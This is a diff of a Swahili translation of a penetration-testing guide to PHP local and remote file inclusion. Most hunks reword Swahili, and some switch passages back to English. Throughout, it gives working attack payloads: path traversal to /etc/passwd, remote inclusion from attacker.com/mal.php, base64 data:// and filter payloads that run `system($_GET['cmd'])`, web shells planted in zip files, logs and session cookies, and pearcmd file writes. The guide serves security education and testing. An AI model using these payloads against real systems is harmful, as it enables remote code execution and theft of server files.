|
||||
Kulingana na [**hii andiko** ](https://mgp25.com/ctf/Web-challenge/)ifuatayo inawezekana kuunda shellcode rahisi kwa njia hii:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -32,7 +32,7 @@ Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaif
|
||||
|
||||
### **Windows**
|
||||
|
||||
Mchanganyiko wa orodha tofauti:
|
||||
Mchanganyiko wa orodha tofauti za maneno:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
@ -47,7 +47,7 @@ Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (kuangalia kama udhaifu up
|
||||
|
||||
Angalia orodha ya LFI ya linux.
|
||||
|
||||
## Msingi wa LFI na bypasses
|
||||
## Msingi wa LFI na njia za kuzunguka
|
||||
|
||||
Mifano yote ni kwa ajili ya Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
|
||||
```
|
||||
@ -65,7 +65,7 @@ Pita kuongeza herufi zaidi mwishoni mwa mfuatano uliopewa (pita ya: $\_GET\['par
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Hii ime **suluhishwa tangu PHP 5.4**
|
||||
Hii ni **imefanywa kuwa na ufumbuzi tangu PHP 5.4**
|
||||
|
||||
### **Uandishi**
|
||||
|
||||
@ -82,11 +82,11 @@ Labda back-end inakagua njia ya folda:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Kuchunguza Maktaba za Mfumo wa Faili kwenye Seva
|
||||
### Kuchunguza Maktaba za Mfumo wa Faili kwenye Server
|
||||
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si faili tu, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna mbinu ya kina ya kufanikisha hili:
|
||||
Mfumo wa faili wa server unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna njia ya kina ya kufanikisha hili:
|
||||
|
||||
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ina msingi wa Linux). Mfano wa URL unaweza kuundwa kama ifuatavyo, ikionyesha kina cha tatu:
|
||||
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa server ni ya Linux). Mfano wa URL unaweza kuundwa kama ifuatavyo, ukionyesha kina cha tatu:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
@ -103,17 +103,17 @@ Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilish
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Tekniki ya Kukata Njia**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Kukata njia ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi hutumiwa kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
|
||||
Path truncation ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi inatumika kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
|
||||
|
||||
Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote zinachukuliwa kama njia sawa.
|
||||
- Wakati wahusika wa mwisho 6 ni `passwd`, kuongeza `/` (kuifanya kuwa `passwd/`) hakubadilishi faili inayolengwa.
|
||||
- Wakati wahusika 6 wa mwisho ni `passwd`, kuongeza `/` (kuifanya kuwa `passwd/`) hakubadilishi faili inayolengwa.
|
||||
- Vivyo hivyo, ikiwa `.php` imeongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni hakutabadilisha faili inayofikiwa.
|
||||
|
||||
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kufikia `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti za mtumiaji):
|
||||
Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kufikia `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti za mtumiaji):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
```
|
||||
Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kubadilika kulingana na usanidi wa seva.
|
||||
|
||||
- **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuvinjari mfumo wa faili, kwa ufanisi ukipuuza nyongeza za mfuatano kutoka kwa seva.
|
||||
- **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuvinjari hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote za mfuatano (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki kama ilivyo.
|
||||
- **Kutumia Sehemu za Dot na Mambo ya Ziada**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na mambo yanaweza kutumika kuzunguka mfumo wa faili, kwa ufanisi kupuuza nyongeza zilizoongezwa na seva.
|
||||
- **Kuhesabu Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuzunguka hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama.
|
||||
- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyokuwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
|
||||
|
||||
Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata mbinu bora zaidi.
|
||||
|
||||
**Ukatishaji huu ulirekebishwa katika PHP 5.3.**
|
||||
**Ukatili huu ulirekebishwa katika PHP 5.3.**
|
||||
|
||||
### **Hila za kupita vichungi**
|
||||
### **Hila za kupita chujio**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE:
|
||||
Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika kesi hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -153,9 +153,9 @@ Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inachuja
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji mfuatano ambao unamalizika na `.txt`, hivyo mfuatano unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na hivyo, kutekelezwa).
|
||||
> Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji mfuatano ulio na mwisho `.txt`, hivyo mfuatano huo unamalizika nayo na baada ya kufichua b64 sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na hivyo, kutekelezwa).
|
||||
|
||||
Mfano mwingine **usitumiaji itifaki ya `php://`** ungekuwa:
|
||||
Mfano mwingine **usio tumia itifaki ya `php://`** ungekuwa:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
@ -273,19 +273,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### Kutumia filters za php kama oracle kusoma faili zisizo za kawaida
|
||||
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili php itupe kosa.
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili php itupe hitilafu.
|
||||
|
||||
Katika chapisho la asili unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka:
|
||||
|
||||
- Tumia codec **`UCS-4LE`** kuacha herufi inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi.
|
||||
- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **kosa**
|
||||
- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **hitilafu**
|
||||
- Filter ya **dechunk** it **ondoa kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
|
||||
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa.
|
||||
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali.
|
||||
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate hitilafu.
|
||||
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haitaiondoa na hitilafu ya php itasababishwa kwa sababu inazidisha na bomu la awali.
|
||||
- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex).
|
||||
- Wakati herufi ya mwanzo ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
|
||||
- Tatizo la mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya mwanzo**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
|
||||
- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za junk mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi junk data** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande unachotaka kuvuja.
|
||||
- Problemu ya mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya mwanzo**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha agizo la herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
|
||||
- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za takataka mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi takataka** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande kinachotakiwa kuvuja.
|
||||
|
||||
Katika chapisho zana ya kufanya hii kiotomatiki pia ilivuja: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -301,7 +301,7 @@ Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **file
|
||||
### zip:// na rar://
|
||||
|
||||
Pakia faili la Zip au Rar lenye PHPShell ndani na ulifike.\
|
||||
Ili uweze kutumia itifaki ya rar **inahitaji kuamuliwa kwa njia maalum**.
|
||||
Ili uweze kutumia protokali ya rar **inahitaji kuamuliwa kwa njia maalum**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -352,15 +352,15 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Ili kukusanya faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
|
||||
Ili kuunda faili la `.phar`, amri ifuatayo inapaswa kutekelezwa:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Kwa utekelezaji, faili lililoitwa `test.phar` litaundwa, ambalo linaweza kutumika ku exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
|
||||
Katika hali ambapo LFI inafanya tu kusoma faili bila kutekeleza PHP code ndani yake, kupitia kazi kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, ku exploit udhaifu wa deserialization kunaweza kujaribiwa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia protokali ya `phar`.
|
||||
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
|
||||
|
||||
Kwa ufahamu wa kina wa ku exploit udhaifu wa deserialization katika muktadha wa faili za `.phar`, rejelea hati iliyo na kiungo hapa chini:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -370,28 +370,28 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida iliyosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa vibaya kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
|
||||
Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida inayosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
|
||||
Ilikuwa inawezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php.
|
||||
|
||||
### Protokali zaidi
|
||||
### More protocols
|
||||
|
||||
Angalia protokali zaidi zinazowezekana [**kujumuisha hapa**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika kumbukumbu au katika faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mito ya Compression
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli yenye manufaa hapa)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mifereji ya Usawazishaji
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli muhimu hapa)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mito ya sauti (Siyo yenye manufaa kusoma faili zisizo za kawaida)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mifereji ya Sauti (Sio muhimu kusoma faili zisizo za kawaida)
|
||||
|
||||
## LFI kupitia 'assert' ya PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Hatari za Local File Inclusion (LFI) katika PHP ni kubwa sana linapokuja suala la kazi ya 'assert', ambayo inaweza kutekeleza code ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo linalojumuisha wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo.
|
||||
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
|
||||
|
||||
Kwa mfano, code ya PHP inaweza kuundwa kuzuia kupita kwenye saraka kama ifuatavyo:
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
@ -410,7 +410,7 @@ Ni muhimu **kuandika URL hizi payloads**.
|
||||
> [!WARNING]
|
||||
> Mbinu hii inahusiana na hali ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa **`file()`**) lakini maudhui hayataonyeshwa.
|
||||
|
||||
Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi blind path traversal inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**.
|
||||
Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi traversal ya njia ya kipofu inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**.
|
||||
|
||||
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** kiasi kwamba **PHP function inayofungua** faili itasababisha **makosa**.
|
||||
|
||||
@ -435,7 +435,7 @@ Ikiwa seva ya Apache au Nginx ni **dhaifu kwa LFI** ndani ya kazi ya kujumuisha
|
||||
>
|
||||
> Pia, hakikisha unandika **payload kwa usahihi** au PHP itakosea kila wakati inajaribu kupakia faili ya log na hutakuwa na fursa ya pili.
|
||||
|
||||
Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinatolewa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
|
||||
Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa umeandikwa URL na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinatolewa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
|
||||
Njia nyingine zinazowezekana za log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -474,7 +474,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Ili kuweka faili kuwa na uwezo wa kusomeka ni bora kuingiza katika metadata ya picha/doc/pdf
|
||||
|
||||
### Kupitia Upakuaji wa Faili za Zip
|
||||
### Kupitia upakuaji wa faili la Zip
|
||||
|
||||
Pakua faili la ZIP lililo na shell ya PHP iliyoshinikizwa na ufikie:
|
||||
```python
|
||||
@ -492,7 +492,7 @@ Katika PHP, vikao hivi vinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Set the cookie to `<?php system('cat /etc/passwd');?>`
|
||||
Seti cookie kuwa `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
@ -506,10 +506,10 @@ Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anatumika (/proc/self/status &
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
Maktaba za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa:
|
||||
Marekebisho ya seva ya FTP vsftpd yako katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa:
|
||||
|
||||
1. Ingiza payload ya PHP katika uwanja wa jina la mtumiaji wakati wa mchakato wa kuingia.
|
||||
2. Baada ya kuingiza, tumia LFI kupata maktaba za seva kutoka _**/var/log/vsftpd.log**_.
|
||||
2. Baada ya kuingiza, tumia LFI kupata marekebisho ya seva kutoka _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters kuunda maudhui yasiyo na mipaka** kama matokeo. Hii kwa msingi inamaanisha kwamba unaweza **kuunda msimbo wa php yasiyo na mipaka** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
|
||||
Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters kuunda maudhui yasiyo na mipaka** kama matokeo. Ambayo kimsingi inamaanisha kwamba unaweza **kuunda msimbo wa php usio na mipaka** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio moja**, trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
|
||||
**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio hiyo hiyo,** trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
@ -545,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` ni `Off`. Ikiwa utaweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **session iweze kwako**. Unaweza kutumia hii vibaya kupata RCE:
|
||||
Ikiwa umepata **Local File Inclusion** hata kama **huna kikao** na `session.auto_start` ni `Off`. Ikiwa utaweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **kikao kwa ajili yako**. Unaweza kutumia hii vibaya kupata RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -561,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
Kama [**ilivyoelezwa katika chapisho hili**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), script `/usr/local/lib/phppearcmd.php` inapatikana kwa default katika picha za docker za php. Zaidi ya hayo, inawezekana kupitisha hoja kwa script kupitia URL kwa sababu inabainishwa kwamba ikiwa param ya URL haina `=`, inapaswa kutumika kama hoja.
|
||||
Kama [**ilivyoelezwa katika chapisho hili**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripti `/usr/local/lib/phppearcmd.php` inapatikana kwa default katika picha za docker za php. Zaidi ya hayo, inawezekana kupitisha hoja kwa skripti kupitia URL kwa sababu inabainishwa kwamba ikiwa param ya URL haina `=`, inapaswa kutumika kama hoja.
|
||||
|
||||
Ombi lifuatalo linaunda faili katika `/tmp/hello.php` yenye maudhui `<?=phpinfo()?>`:
|
||||
```bash
|
||||
@ -607,11 +607,13 @@ Ikiwa unajumuisha yoyote ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/p
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
